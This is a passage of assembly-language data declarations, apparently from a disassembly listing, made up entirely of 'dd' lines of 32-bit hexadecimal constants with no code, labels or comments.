		dd 5EA968BEh, 0D31377B7h, 0E375A665h, 20DD6F87h, 3A551B40h
		dd 0EB6FD2E1h, 975C27BAh, 3AD8B457h, 0AFDAAA6Bh, 3F7CB9B4h
		dd 14DA6C51h, 0D868EF9Eh, 9BE205FAh, 3E5C2CECh,	31861533h
		dd 533D7368h, 79574E9Dh, 0C0FC4D75h, 8D55CE4Eh,	0C384E8D2h
		dd 4F0D1783h, 0EDB70125h, 50DD4959h, 73F0D205h,	64896D9Fh
		dd 0B2FCFA11h, 0B1609754h, 73479B38h, 0DAC353C7h, 0A975AF11h
		dd 6C2BFF35h, 5E2A149h,	0A5FDC3C9h, 0ED8DCDAAh,	90D95FB8h
		dd 984B4F3Ah, 0ECA55559h, 0BF5B4533h, 63C2929Bh, 80A54E85h
		dd 257A8DE8h, 0ED97FA9Dh, 80E45474h, 45D11A1Fh,	88D24817h
		dd 0D63EAA36h, 565CF6C2h, 0D5A4BF9h, 0BA823776h, 0E26ED159h
		dd 0A17FFD8Ah, 484EFF22h, 62D99470h, 0AA6404A4h, 7F83FDD6h
		dd 52560625h, 0C2659943h, 2A92B28Bh, 4AB4EB3Eh,	95D02D82h
		dd 61272A6Dh, 2EA8AC94h, 28E5B48Bh, 0A316F393h,	0B26D4A58h
		dd 3F2DCB6h, 62728EFFh,	0B297A052h, 89423579h, 1E735A8Eh
		dd 1FC9AADCh, 6A75ED42h, 0AE365BF3h, 5049EC0Ch,	0BEEE8D79h
		dd 9D15642Eh, 0BDD5DF2Bh, 23C3B2EBh, 0C7631E8Ch, 0FC4D64D9h
		dd 0D23C65B0h, 5389D2BAh, 8530E2E1h, 0E6853A2Ah, 7078C226h
		dd 4AA10BECh, 951CB125h, 40B42953h, 2FF8B59h, 2BE94B38h
		dd 2B32F4EDh, 2B26692Ch, 0B643B7B7h, 0A835EA43h, 0E377B0FDh
		dd 61E41F52h, 0E90FDB8Dh, 5C2ABF0Bh, 97CA44AAh,	0A36EF607h
		dd 0B1FDF26Ah, 0B4091B34h, 0D46F8AA4h, 6AD47AEEh, 0B2B47D36h
		dd 3EE72B7Fh, 318EA03Eh, 8E76A55Fh, 0AF055C95h,	73093690h
		dd 2845EDA1h, 0F66606D7h, 3FD12794h, 0E07FB097h, 3E4103E9h
		dd 0DF5BB46Eh, 64788C54h, 99C54E7Eh, 0E267FF92h, 9F5CFBBAh
		dd 3C6450F3h, 26AE5AFFh, 46932D51h, 9FB6377Bh, 78B3B8A8h
		dd 4535797Ch, 0A74B65A1h, 153F0F4Ah, 2C6216EBh,	2B7D53A7h
		dd 0F58592FEh, 0C3FE6921h, 575A11D7h, 7D0AD3E3h, 933C8266h
		dd 0F7599DA3h, 0AF90E63Dh, 0AA778CACh, 76C4BAA3h, 0C4D715CAh
		dd 59A7C349h, 0C2825460h, 0BE3E0279h, 4ABBFDD9h, 0ADE6907Eh
		dd 0ABA187D1h, 78097660h, 0ABFC89Eh, 0FE93F391h, 3D61771Ch
		dd 331FE84Bh, 0D965DEF6h, 9746B51Eh, 0CBAA7878h, 0EFC224C9h
		dd 249F43C9h, 6C3FA8BBh, 0BE833AA0h, 715A4D17h,	0DF696895h
		dd 6F044F6Bh, 8D8E52C8h, 0A969A21Fh, 1079F5D8h,	58ACEEBCh
		dd 574B8DFBh, 895D3359h, 0C5830ABCh, 0BA377C0Ah, 68F3917Dh
		dd 0DA5ABE27h, 3736EBDEh, 99D490A9h, 7B780556h,	1995DD31h
		dd 89BD61ADh, 676B05CDh, 0FE3C8A6Dh, 9EC7261Bh,	75468F07h
		dd 10E8F911h, 0D9A62196h, 0C86EF7F9h, 3B3C410Ch, 854C3158h
		dd 5377A157h, 0C1E3A3ABh, 3EEB46E9h, 79A141F0h,	9D690C63h
		dd 5CA50262h, 2B44769h,	0B0B39B8Bh, 0F48F5EB7h,	8DCAAF76h
		dd 919C83E2h, 0FB98FD4Ch, 0F6FB2BF7h, 0F87BD4D5h, 0EDEF561h
		dd 79133B5h, 77BC0C36h,	1A99A885h, 0B398A5F8h, 0D9571688h
		dd 9A1F5D54h, 79C1972Ch, 9C0FC655h, 87BB31DBh, 0C389CC9Ch
		dd 0CFB7962Bh, 1ADD7BF3h, 0B2EBC866h, 9D5BF1Ch,	2120F66Bh
		dd 5E4C7172h, 90DCBFCAh, 3AE22226h, 0DE7AD59Bh,	0BEC32B4Eh
		dd 3377536Ch, 3C6A2557h, 758DDCCAh, 0EE43CC59h,	0F2FEFE34h
		dd 6B4BB511h, 7EFE1F70h, 30574769h, 0E3EA1329h,	0F9AAA416h
		dd 0BF4D3C50h, 0C4A9D5A8h, 2B4669D4h, 8F7FAAD5h, 0A717A69Fh
		dd 95E7BA93h, 451AC3F1h, 0A54296E1h, 0CE81373Eh, 24C53EABh
		dd 72BAC92h, 473755B4h,	2AE8DF1Bh, 0E6B3DE6h, 36D9BB4h
		dd 1F88EA5Bh, 17E6147Eh, 5C8FC3ECh, 5EB55966h, 0B58AEFB5h
		dd 301793B6h, 0DDB9466Ch, 66FAD63Dh, 5850B027h,	5A33DCB3h
		dd 3F1A142Fh, 57734C56h, 3F659321h, 0A8D8829Eh,	71B570A5h
		dd 952BE7FAh, 13735D97h, 212EC0ABh, 0FB0CA8A4h,	0F55DCEA1h
		dd 2DCDAD12h, 2EF612AAh, 0EACC9DAEh, 3D16E236h,	8EA20B5Bh
		dd 79CAAA7Fh, 0D87F46D1h, 7A2C34EAh, 54C2A8B1h,	7352CB4Bh
		dd 1946D04Eh, 0C0B6F2ABh, 0F1C5F0FFh, 0ABC50BF5h, 0BC0C5074h
		dd 0CFD75F70h, 5CCEDC96h, 0D19042A8h, 0FACFC63Dh, 2F988187h
		dd 0AFCC8BD9h, 0BBBB3A65h, 58EE3A7h, 97AB66FAh,	0C88492E4h
		dd 344410FFh, 746BB76Ch, 10255BE5h, 0D88EAA33h,	3F6784FFh
		dd 5BFE6F69h, 77A184E7h, 9B9EB725h, 75B48409h, 1B852438h
		dd 46EF04B6h, 0A5605D2Eh, 6AF14D54h, 0E7EF9455h, 0F1403AFDh
		dd 0E73F459Fh, 2D6DE052h, 0C3F12D73h, 0F20EA9B9h, 6423D829h
		dd 4589AD31h, 6078BA93h, 54124897h, 61B83898h, 59A470FAh
		dd 0D159B93Ch, 0DAEEB7EDh, 96A28CBAh, 67022EECh, 0E113B951h
		dd 0CA4A3D87h, 553E99C3h, 768615C2h, 0AC5AF857h, 0F31FFA79h
		dd 0BFCA7F21h, 8D11EDD4h, 0CBD03790h, 0E4F02FCAh, 168AABCBh
		dd 83AF6CABh, 95F0747h,	0B2FF7BE4h, 77BFD52h, 13D3E945h
		dd 1AE7A01Ch, 69DD187Eh, 0E872A630h, 2395A504h,	0E9F395D0h
		dd 469A44C0h, 0B0BE1D2Eh, 6C7446F3h, 591CD3F4h,	0C65EE552h
		dd 8E4217C4h, 3EF27262h
		dd 8B32A4B7h, 1268CBDBh, 0AF14EE96h, 0FEAAFB4Bh, 0EBEF8986h
		dd 31142244h, 0DC15CD95h, 9FBA4722h, 163588E3h,	0B265FE63h
		dd 0B9A06848h, 77BE1CFh, 0FB631CCh, 292E6C3Ch, 253A576Dh
		dd 0E832E8CCh, 53DDEF08h, 54601628h, 0C6A6DFB8h, 2BE3A86Dh
		dd 3F8BB615h, 5C813388h, 0E8DA59F5h, 82688E9Eh,	0C6E1AEDCh
		dd 0A5BCE62Bh, 0C711E010h, 3C0FF531h, 24EBA517h, 3EA8862Dh
		dd 8C276A38h, 501D46E0h, 81462DDDh, 44B1E9A4h, 1B5F01EFh
		dd 0E6477674h, 94FC3372h, 1BE5DC30h, 0B7F37B2Dh, 0C639C779h
		dd 0FBA0EC0Fh, 0CAF2B3EAh, 0C2C57C1Ah, 0C461C0A2h, 3B0B9DC5h
		dd 53936FE1h, 18CF6F3Dh, 841598D6h, 0CFEC3ABFh,	0BE4CDC95h
		dd 1A27BD50h, 0DA2F36F1h, 52E6AAA9h, 0FA9C38EEh, 0DDD0827Ch
		dd 7D6358D6h, 88DDEC28h, 0A4B6C856h, 7F8D0EA8h,	0D3957776h
		dd 92B9D88Ah, 91887C07h, 0A32B0F05h, 0D285842Ah, 0FD0238DCh
		dd 5F727DBFh, 52B54BA2h, 95BDBDE3h, 0C7E2A460h,	86EAC9BCh
		dd 8D2D7610h, 0A137B250h, 0FB95768h, 0B575910Eh, 24A67975h
		dd 11BB2B47h, 52F53A38h, 89633CB3h, 0E5D102A3h,	95C99096h
		dd 0DA38A627h, 32B6C8A8h, 751A529Fh, 74BF687Ch,	0AD88EEEDh
		dd 5A2D2759h, 5180A961h, 9CD23BAFh, 19B8CAD1h, 68C02CA6h
		dd 0D93F5B6Bh, 8C93FAF5h, 9E5F1695h, 0C3A24749h, 36D490B2h
		dd 263F8FB4h, 5AAD7E4Eh, 3C3F81E8h, 993A12FFh, 45DA1F6Fh
		dd 0C65DC07Ah, 0F023C0CCh, 0D68863A4h, 24D66272h, 5FD18F8Eh
		dd 4B01CA57h, 0E1FE4BA6h, 5595265Bh, 0C5844B1h,	0CCA66862h
		dd 0F76A2B4Fh, 449F1A4Fh, 6BD28F33h, 1409F970h,	8413FE3Ch
		dd 0BF987799h, 0FB7DEF2Ah, 677414E4h, 1BCC6281h, 9D9BD22Bh
		dd 9743F7F9h, 0FE4CBE07h, 0EA5F9C1h, 0EE62561Bh, 0AAA1212h
		dd 9F458C6Eh, 0EDF7D2BEh, 7A762A16h, 0B8EDB03Ch, 0E358792h
		dd 318631FEh, 13D0E105h, 0A6534347h, 90F06490h,	0BD5E4E44h
		dd 0E6A8DD35h, 98DF503Ch, 525F0C42h, 0DBEB34B3h, 0FC138102h
		dd 5F647D45h, 71A7A98Fh, 39D75FF1h, 5144698Bh, 292C53D7h
		dd 7CF39467h, 0A52FBC2Dh, 6C320190h, 5D523C0Dh,	37C5DB75h
		dd 0AF68C7BBh, 0AFB0306Ah, 0A33C9B68h, 8797F5D8h, 4C7295C3h
		dd 0D68AD21Bh, 503FA176h, 0B8A65C8Dh, 0D97C6C49h, 2E9F2219h
		dd 879C8E8Ch, 64C1BD23h, 0B81FA919h, 0A963B75Eh, 0F2B8070Ah
		dd 16795BF8h, 3A7F8824h, 0CA18ABDh, 0B8902F8h, 0F8E6887Eh
		dd 7F51801Ch, 2B2277EEh, 88F781C5h, 0AF5A9716h,	8D38A205h
		dd 0B55AFAFBh, 0B369AB52h, 0DECDD183h, 3EE36CEBh, 0F59A3591h
		dd 0A46ED678h, 0D41FEA9Bh, 21CF57A5h, 305F02E0h, 0F8E0C161h
		dd 0E39A8CC4h, 2E3F7EBCh, 0BFE14826h, 0AA0EF7E9h, 78F30968h
		dd 7E5DA489h, 0FCCD568Dh, 0EAC78AB6h, 0F257E1F8h, 0CBB53589h
		dd 0CD9AE82Bh, 54716E97h, 0AADCD768h, 982F2FB2h, 71321ED8h
		dd 69ADF1C1h, 3BE7A74h,	0E3DE355Fh, 0E3BA5A9h, 5BB21550h
		dd 0E94D5C88h, 11254B72h, 1FAA23F3h, 7F4BA2B3h,	66507214h
		dd 385ED92Eh, 657CBFA3h, 125174B6h, 48BF667Ch, 0F4FD1504h
		dd 2CF2214h, 5F147482h,	0B72F54FDh, 56467CEEh, 0C9A61FEBh
		dd 5D1E720Ah, 960B51EEh, 0F0A76AABh, 0C8292FE7h, 0E822CBCCh
		dd 95D1BEF5h, 0BE740B18h, 167E73B2h, 0EE8ED8E7h, 997DC821h
		dd 0BD7F9624h, 218983ABh, 2FA4E3BFh, 0B4DF6D91h, 77E10746h
		dd 1777E2Fh, 828A08A9h,	0A8FC797Fh, 98FC1F89h, 0BBD457E5h
		dd 18C4050Eh, 0A02CFCA7h, 0D1096293h, 0CEACB67Eh, 8AFE4169h
		dd 0BA674B9Eh, 0FBBE6769h, 0FD088F0h, 28499B25h, 2E159F4Eh
		dd 1B15F0A7h, 9AD665ADh, 58B56F6Bh, 0CD1853ACh,	4F1E5D30h
		dd 0DF0FC60Eh, 0DAEC87D1h, 0B6254894h, 0C608E8EDh, 0C63559Dh
		dd 5A2C1937h, 0C926E727h, 5F8F3CF6h, 67CCEEDCh,	0A5942CE0h
		dd 0CE9C2ABCh, 753BAB9Ah, 0FAA5E3DDh, 0ABE68EF9h, 0F918A3FCh
		dd 0AE2D6F51h, 0E24C1271h, 0D205E736h, 31966E68h, 55DACBEFh
		dd 595E685Ch, 0E7474125h, 805A15E7h, 50BB32B4h,	9919325Eh
		dd 7B85C67Eh, 311A3457h, 4B257575h, 0FE9DD0E9h,	0A4FBB24Eh
		dd 173A157Ah, 0ADB798B2h, 0E38BFA7Ah, 2348B67Ah, 32D4952Fh
		dd 15255555h, 0DF1F6BAh, 0DBDC2FECh, 5AC94532h,	0E4D3F9ACh
		dd 0C47E84CFh, 0FD77A110h, 539B3325h, 4D67FF66h, 0D8D20FC1h
		dd 5239011Fh, 7051A976h, 0BF11CAB5h, 0BECD6E7Fh, 0AB0C7E34h
		dd 91CA4286h, 0FC3F68AFh, 0DBB3923Ch, 3C41197Bh, 6F1EB2D3h
		dd 5357CC6Eh, 7E4DB492h, 0AC0EA4A4h, 0CF660E3Dh, 0C5BA1556h
		dd 73F7928Eh, 757C990Fh, 0A126B7FCh, 0A8DB0B51h, 0EE7C8C35h
		dd 0F15D5E0Ah, 0E2D858BBh, 621DDF95h, 0D398E69Dh, 63FCB9DBh
		dd 0CE100D07h, 0A370B24Ch, 154932F5h, 0F72CFE8Ah, 2483882Dh
		dd 0D55753EDh, 687A8107h, 0F12F0421h, 0CD05D3FBh, 78AEED91h
		dd 4171B60Bh, 1DCAF6D5h, 6E814C8Fh, 75C675A7h, 0D9B03F2Dh
		dd 6CB856CAh, 0ABC5338Eh, 0EB816420h, 0E1AFB359h, 0AE0259EBh
		dd 0ACE124A8h, 3D64AC48h, 1ABE8DA3h, 8547C68h, 4ADDBA32h
		dd 7BBF3F6h, 6F158F3Eh,	3798AADBh, 0A21228ABh, 8DFD87E2h
		dd 6E353020h, 224DD5B3h, 0EE35BBFFh, 3302E68Ah,	0C6C1B7A3h
		dd 0EE3AE6BFh, 91634030h, 857B69AEh, 748FEAF5h,	4A4575ADh
		dd 958BA2A1h, 1287BB12h, 0EF83FBB9h, 55A39D8Fh,	0B4E1ACB5h
		dd 0D36A4211h, 0FF8A1959h, 8ADE4540h, 0A11613E6h, 0C18F8BF0h
		dd 8E7C397Eh, 7F17FA4Fh, 0C0D7FFD9h, 66E45E98h,	668815B6h
		dd 2BBC3DCh, 60FD36Fh, 524B9813h, 0FB68B3D4h, 45EA3051h
		dd 0C7A2A581h, 2B7CB6BCh, 7B9BE7D0h, 0B37413A7h, 0BB6ABB1Bh
		dd 0AA485760h, 6AF073CEh, 7FD41C23h, 0AF06E2Eh,	31263F07h
		dd 0BABB3959h, 45C14E53h, 0C7332C05h, 4692B285h, 0E360B99Bh
		dd 35047148h, 0D7397E45h, 0DBBDEE2Ah, 0D5091946h, 0BC6C8FD0h
		dd 0AD80BBF1h, 0EB8D92ADh, 9DD946ECh, 0B9D5C22Eh, 0DD06CAEAh
		dd 7FCEDA85h, 0C6B07C54h, 0E7BD1BBDh, 4ED146FDh, 0DE2B1E45h
		dd 193F5793h, 83272BDCh, 0C644915Eh, 0E276FDCDh, 9A52FDCAh
		dd 0AFE1CBE8h, 7D6B1A44h, 405281EDh, 19765CD7h,	0C110FC56h
		dd 3EBD6D5Fh, 5D6AFD3h,	36F1D21Ch, 0B5CA4088h, 78EB59E6h
		dd 0DBDFE0C7h, 0F934187Fh, 8E032555h, 58E8F3D6h, 13FC250Dh
		dd 0E6F0B3DBh, 0B7D4A5C8h, 74857C50h, 0AC75ABA9h, 7459D53Dh
		dd 0AD2B129Eh, 93B42E1Ch, 0F51707B5h, 0E1419503h, 0BF25D0F6h
		dd 0F9032D10h, 855A5FE4h, 1FB69EB7h, 0F7E2C4EDh, 9B764ACFh
		dd 0BDE0DD6Eh, 98944913h, 0BC17F41h, 0ED1539A5h, 765C3F55h
		dd 680C2D9Fh, 74B8A4D9h, 2FE63A89h, 0FD8ED692h,	143F4F02h
		dd 862E596Ah, 331C1DDBh, 9EAC9872h, 27684FB5h, 0F048CE26h
		dd 0F2B3C22Fh, 7910956Ah, 0CA6A070h, 0C50BB647h, 0B7038645h
		dd 0F5ADACE6h, 1E67FAC4h, 16B50ABAh, 910C75A5h,	9509462Dh
		dd 53AC4ABFh, 0EAA552B4h, 7A69B8CAh, 77E92D34h,	60D8B414h
		dd 0BF4996A3h, 34E0FA69h, 8AFC1AFBh, 4B5FF260h,	970681ACh
		dd 8E77B674h, 0D4EA6790h, 35487718h, 75EB2F32h,	0C3D47AADh
		dd 2B660BBCh, 0CF66C2Ch, 0A1342F91h, 0BF042ABEh, 47C8DC5Dh
		dd 0CC6CA422h, 529B639Ch, 0E52BCD6Ch, 42E2C6D8h, 562EDE5Ch
		dd 0C21F4F69h, 0F6C62B0Eh, 0ABC58CD4h, 0FD6C9E47h, 5BBEFCBEh
		dd 44E63FC4h, 0FA8A981Fh, 77DDBBA8h, 12190733h,	0E1EEFF32h
		dd 64E198ECh, 7E3E3086h
		dd 8F559FF9h, 6D37B777h, 6E05B21h, 14791990h, 92FDFFBAh
		dd 0BAC9A2AAh, 0FEB7EAAFh, 0D429FB98h, 387DA199h, 5AB325CEh
		dd 1F02B63Eh, 0FE5ECB54h, 47153299h, 464B25BBh,	6B4150F1h
		dd 64C10BADh, 0AF0BEB6Bh, 62A85CFCh, 0B6D915CAh, 304C0419h
		dd 2E7510E7h, 288C9745h, 2A5CAAC2h, 0F5A6BE26h,	69F6334Eh
		dd 50439F6Ah, 7C0F3A85h, 3D83BF5Dh, 0F0B9AB41h,	0E257F4Bh
		dd 0E68230AEh, 2740DDA6h, 7683BDDh, 0CE01BBAAh,	5684BB98h
		dd 1B48037Eh, 0FCE6B43Fh, 6F5DCF8Dh, 0BDAE38E5h, 0B77BF03Fh
		dd 0A3CBF321h, 318A9EBFh, 0DA55F0BAh, 39F76F1Dh, 1AAFC70Ah
		dd 9FCE93C2h, 372E3D29h, 0CBC5BBB5h, 0B532ADBDh, 0A464D97h
		dd 3F197A47h, 9A42B625h, 6A0AE845h, 28AB08B9h, 0FED7EC55h
		dd 2FCDCB98h, 0EAC64F60h, 1228C3A6h, 8363AF88h,	0A04E4AB4h
		dd 7FAFFF44h, 2FF4CE60h, 0EAD8A040h, 0FBC92145h, 0E020953Ah
		dd 0F91B7887h, 4975FA96h, 0FE6C67E2h, 87A5ED28h, 9E7C15F9h
		dd 0BD1C8CFCh, 0D19A4D76h, 0ED555C40h, 1A0B06A1h, 5D945658h
		dd 0AAE6AF0Ch, 5CD45DEAh, 0B4EE2AA8h, 948C5D99h, 77C62E29h
		dd 4180FD84h, 0B138B8C7h, 0BD2B504Ah, 2AF5390Bh, 0DD60F7FBh
		dd 3C096E91h, 0F5B43846h, 4C2B60A3h, 76B72D19h,	55295DA9h
		dd 117F33FEh, 0A7CF74FBh, 0FF188CE2h, 5193FEADh, 0C3CBB7DCh
		dd 8CFFD796h, 36CBE1F8h, 524F9592h, 0D871F683h,	35DF5441h
		dd 97D643B2h, 94BA06BDh, 0D135E88Dh, 0F84E1F8Ch, 692EE462h
		dd 0DF569461h, 0C43FCB9h, 0DA179E0Fh, 9E4AF354h, 0F93D3B3Eh
		dd 0B2F0A345h, 539ABE0Ch, 0E85E0619h, 39B48A50h, 0A4BEA27Ah
		dd 34FB0DF8h, 0DB4EFD25h, 0BA1E5B87h, 10D2716Ah, 3BDD37AEh
		dd 0DDCC3063h, 0CD0FF244h, 0D32B74F8h, 0D32278E5h, 66FEE705h
		dd 0F838676Fh, 0FCB0D1A1h, 17D49EF3h, 3293EA73h, 3ADF76AEh
		dd 0E3EAFCEDh, 2C2D4F02h, 71B74B19h, 9AE965CDh,	9DFF9DEBh
		dd 56FF9FA4h, 4946B359h, 0C0F79327h, 1BECCD12h,	87E2E87Fh
		dd 6C84961Fh, 7E51761Dh, 0EE8384E0h, 0D42D1F8Ch, 7E0903EAh
		dd 0D5218EFh, 0F6577C5Ah, 0B67AD05h, 0F55266C8h, 953BA6CAh
		dd 0A26A7A3Bh, 0A3428623h, 0F6A5A568h, 7B03A895h, 0F02EEFDDh
		dd 0DCD9D589h, 0EA89DC1h, 0A0B5E92Fh, 86AE6A25h, 0AF01CD95h
		dd 0D31FEC15h, 0F581D4D4h, 51B405C3h, 0FB182B83h, 0B15472E1h
		dd 28CCC2DAh, 0A856A0CAh, 0C849B894h, 79E4D764h, 52E564C5h
		dd 0BFDA4D90h, 0D2C67877h, 54CF2541h, 3F423DCBh, 8C07A3ABh
		dd 0B3A9BFCBh, 0EA8BF59h, 0D9EB9DA7h, 0A2D22AF4h, 0F7542DE4h
		dd 7AA58607h, 0CFA89BA9h, 0EAC072C4h, 0F58857D1h, 8663FCEAh
		dd 0F78725BFh, 0B2569447h, 0E59BB1B1h, 377E739Dh, 0D23AAA31h
		dd 5CCA4371h, 99DF4CD4h, 17B1F3E0h, 9A750B5Fh, 2B1E77EBh
		dd 77562412h, 2274EE8Dh, 0CBD2B6A4h, 0B9A772F9h, 0E02ABA82h
		dd 0F6789BC1h, 43CAAB6Dh, 328AF852h, 729B55CAh,	81F0DE6Bh
		dd 39CCA59Dh, 0B054DF59h, 0D57C87F9h, 77DF654h,	95DCCD4Dh
		dd 96B2EBD1h, 0D15BD7B0h, 0ACB4FAEAh, 0C6914C78h, 0A8531A8Eh
		dd 112C5F65h, 0FDB1D7BEh, 19300F6Ah, 46BEF44h, 5FD4349Eh
		dd 0A7C121CCh, 44FB9B43h, 0F4205F09h, 247D56D8h, 5943A94h
		dd 0B8BCEAAEh, 1C2372A1h, 88274A6Dh, 0B83BCAFCh, 84E85D5h
		dd 0F4276794h, 68D5A40Dh, 99679365h, 4C0F69EDh,	0BFEE793Ah
		dd 978D22D7h, 0FDF7AD3Dh, 14BD2683h, 0B776E060h, 0E3411B5Fh
		dd 6BCF0053h, 0FEFEED74h, 0F0E9D91Dh, 884DC85Fh, 6902631Dh
		dd 0FF26AD5Dh, 0AED599B9h, 2B7507F1h, 4EE7DDBCh, 0A592B731h
		dd 237D2BD7h, 77642AD3h, 5BA64BB6h, 0EB478715h,	3076C3F4h
		dd 0CEA3DE0Fh, 31EBE7A2h, 0BB23B42h, 95E7C0ADh,	88FED92Bh
		dd 0FE85D611h, 6BF62789h, 188E4121h, 1BF35E43h,	67A2BA1Ah
		dd 3CD2A545h, 95F7568Bh, 0F84A3CCh, 92C5E1F8h, 0A2C26D56h
		dd 2391C8A2h, 9B69D9ACh, 0FB723642h, 0EB7FCFC0h, 97B37883h
		dd 7586148Dh, 68001970h, 0A26994B3h, 787857D8h,	21B178F3h
		dd 0BE079BFEh, 0F218AD2Bh, 0CA23EA3Fh, 7C1EB4CFh, 57EEF293h
		dd 15BB6B77h, 8D50422h,	0A7DAC2B7h, 0F7053DAAh,	4A1743F1h
		dd 0F6D4D10Eh, 0B6126F03h, 0FDD3F9F8h, 30EFE6Eh, 27E87D8Bh
		dd 2F4F9D5Fh, 28C79CCEh, 0DC5B2E63h, 0DD296713h, 75B74DA5h
		dd 60881F15h, 0EAB9238Fh, 0FB0E463Bh, 0A39B1345h, 43F168A5h
		dd 0B9A2F3DCh, 3FC51AA5h, 679B47D6h, 0E4DE915Dh, 0D625E1A5h
		dd 0BDDD9795h, 4DE7B7AFh, 7DA75700h, 0EB47C0A4h, 65A6D4D6h
		dd 1FCC622Bh, 0E6E53C11h, 3F6E256Ah, 0A9A55A6Fh, 0D6EE9ADDh
		dd 1282A802h, 0B34A5D3Bh, 9843FA3Ch, 0A9A249D2h, 5A29F138h
		dd 72AAD0B3h, 0CC9AD48Bh, 6C53D82Dh, 0E691C6FAh, 0C6F15DAh
		dd 0BA995E5Bh, 343BFB3Ah, 7E2ED8B7h, 0AB30E7FEh, 0CA3EDDEFh
		dd 0E89D295Dh, 0EBDD5DC9h, 0B7F0753Bh, 0CA72C168h, 1BB571C7h
		dd 64C5E18Bh, 0FE1B6A3h, 0E630C166h, 46760895h,	0A595D3DDh
		dd 0E0692F69h, 80E192B3h, 0C5F11A5Fh, 2D14927Eh, 0B91D525Dh
		dd 2749855Fh, 0A5AC0227h, 6A2D51BCh, 16875D9Eh,	5BB680B3h
		dd 4CDE875Dh, 0E977AFA8h, 0D1EFE8C2h, 0B57C5719h, 0F8490473h
		dd 0BA439A17h, 0EE6F6CFCh, 0CAD527E4h, 57426496h, 7776B374h
		dd 0AA054309h, 29C90BE5h, 0E959C149h, 70FC159h,	40CF033Eh
		dd 0BE6D8AF4h, 7EE80642h, 47B5E643h, 386E1D66h,	771189A1h
		dd 4DE59B8Dh, 9A9D56C5h, 0F08C91B4h, 4E97075Fh,	0AEB7EE96h
		dd 54450B60h, 96C6CEF4h, 91AE3C2Ah, 0A2BB61B1h,	295FE644h
		dd 7733D4CEh, 7EE2B5E1h, 0ED94548Dh, 20F26AD0h,	174A9EEh
		dd 3DD7DF86h, 0D54A9F9Bh, 7829C85Bh, 0A78FCC93h, 9D5A4CB4h
		dd 0E3453E24h, 0AAFA4ACDh, 2F2D8E62h, 0EA94B683h, 0F01B34BCh
		dd 7F43C5E1h, 0DABE8957h, 0E072074Bh, 1ACF4F93h, 7D1A9CCBh
		dd 0A66BFDF2h, 9D57A255h, 0B9308F8h, 0C8EF3B53h, 0A09D5F48h
		dd 0C881034Fh, 3E685E37h, 76B9FC78h, 0BF769B58h, 250FE1D9h
		dd 0B05BB102h, 4C962F8h, 42FF0B3Bh, 6918AAD4h, 2166B87Ah
		dd 30FD1BF3h, 0B112A18Ah, 232366A0h, 0A9C3D7ADh, 0E7CEC64Fh
		dd 7BE29DBAh, 0FD891AA8h, 32776F93h, 98C0F13Fh,	0F0FCFBDDh
		dd 847596E6h, 0F9672AE3h, 15576CCEh, 0B1F2A0B7h, 0A4506BDCh
		dd 181E9D2Bh, 9F197CAAh, 5D04FF22h, 0DE23D366h,	737F6ED9h
		dd 7FE6B93h, 0B457BEDCh, 9734C1FEh, 0BE6F766Ch,	0BC6ACB9Ah
		dd 9B8249B9h, 0DB5A010Fh, 0D7CF7E1Fh, 4B15E146h, 0EC65ABFFh
		dd 0DD3CB245h, 937414F7h, 0B6D19799h, 3B029446h, 671711EAh
		dd 902BCF8Ch, 0AF9EC59Eh, 0B4BC95DCh, 0CF89001Ch, 0B1868AAFh
		dd 0F277FAC3h, 6A6F12FEh, 56CB2A8Dh, 2F46E926h,	1C1BF2F9h
		dd 3D1ADC61h, 3F51ECFEh, 0C87036BDh, 7B0EDE68h,	0C7CF7A13h
		dd 0F44B68BFh, 959E69F5h, 123CF269h, 3481D654h,	6C65B18Bh
		dd 0C91D5026h, 0BD4B595Dh, 0A07219CFh, 553A8E8Dh, 7385FFA9h
		dd 0B37CCE73h, 0F28BA4F7h, 0AB9F1F47h, 3A1984C8h, 1C9E4254h
		dd 0FF2295D4h, 0D89825A0h, 0E2A15C21h, 37F42F91h, 58AB3E74h
		dd 5A3CA3FAh, 7CF18323h, 0FC35CD5h, 0EEF6D395h,	0BB726BA6h
		dd 0AA6E987Ah, 7657B6E4h, 5096296Dh, 0A8935943h, 5A511BCAh
		dd 264D36ADh, 0EEEF334Eh, 3C15E78Dh, 0BFB85D59h, 944E4221h
		dd 70AE157Bh, 4E86BE7Fh, 88DD0F23h, 0E5B79E93h,	0FB382B08h
		dd 8BDA8DCEh, 581E8ACAh
		dd 856E463Dh, 2BC654CBh, 0A10E9397h, 2ACCF950h,	5AEBA553h
		dd 0CDF03A96h, 9A77EB0Ch, 37E7754Ah, 0D5CEE6D5h, 0B6CD77BAh
		dd 9BA4A1BEh, 25CFC60Eh, 0A921D38Bh, 0D6AA69F1h, 6249E3C4h
		dd 0E7EFB356h, 6C1FC65Fh, 0DA7C7FA2h, 0A39B9E8Ah, 91925FA0h
		dd 5A1D3FC9h, 0CBCF7E58h, 0A72F2A02h, 522E191Ah, 0E9526546h
		dd 0E68D374Ah, 0B1070FA4h, 4842A753h, 246E5C20h, 0A9A318DDh
		dd 66FC2A8h, 836EE117h,	0BE724174h, 0CDC1B55Ch,	1CE7D16Ch
		dd 0BFCF762Ah, 672DF653h, 0A02B0F67h, 6486897Dh, 0B3786ABEh
		dd 40C9C79Eh, 0D6308AAEh, 0E6C1B9A6h, 0A0633C8Ch, 85C7A631h
		dd 6D9B0FE2h, 3E5CD62Bh, 7E421329h, 0D3AC9E63h,	0EE2FF8DCh
		dd 0E2BBE623h, 3A2147FBh, 8D9AB7CAh, 8E9529A9h,	4D6D85B4h
		dd 6455BE2Ch, 0A636C294h, 54809037h, 9ECF35A3h,	0F7EEB25Bh
		dd 4B345316h, 6E4EF652h, 20AD729Bh, 0F2EAB99Fh,	35D2FDDEh
		dd 0F12EBAC6h, 0EBA9C1C3h, 0BAF12C67h, 4DC46BF3h, 71787A92h
		dd 0D7759775h, 0C966AFA7h, 6AA07816h, 9F63CDF6h, 0EFF615CBh
		dd 8C7270DBh, 0E8499B95h, 6626E1F5h, 1BF70BF2h,	35FF9ABh
		dd 262C2F95h, 0DB1078F0h, 64EB5993h, 52B791ECh,	0BD13B8FFh
		dd 0F37F1F5Ah, 84396634h, 58E7CF3h, 3ED7730Dh, 55DFD8AAh
		dd 34A6EEE5h, 46773B64h, 0B5B5C8EFh, 7EA79C3Eh,	0BA0B6B46h
		dd 0C3373DD4h, 0AF9A73Eh, 4D90B1A1h, 0A6C5E4B9h, 0E84FDA88h
		dd 0C92767F2h, 0C9952D17h, 66F19EA0h, 1D597DA7h, 0D0B345FFh
		dd 0F7F8448Dh, 0B4ADBE3Ch, 0AFF2DB52h, 29CC5058h, 0AA55D78Ah
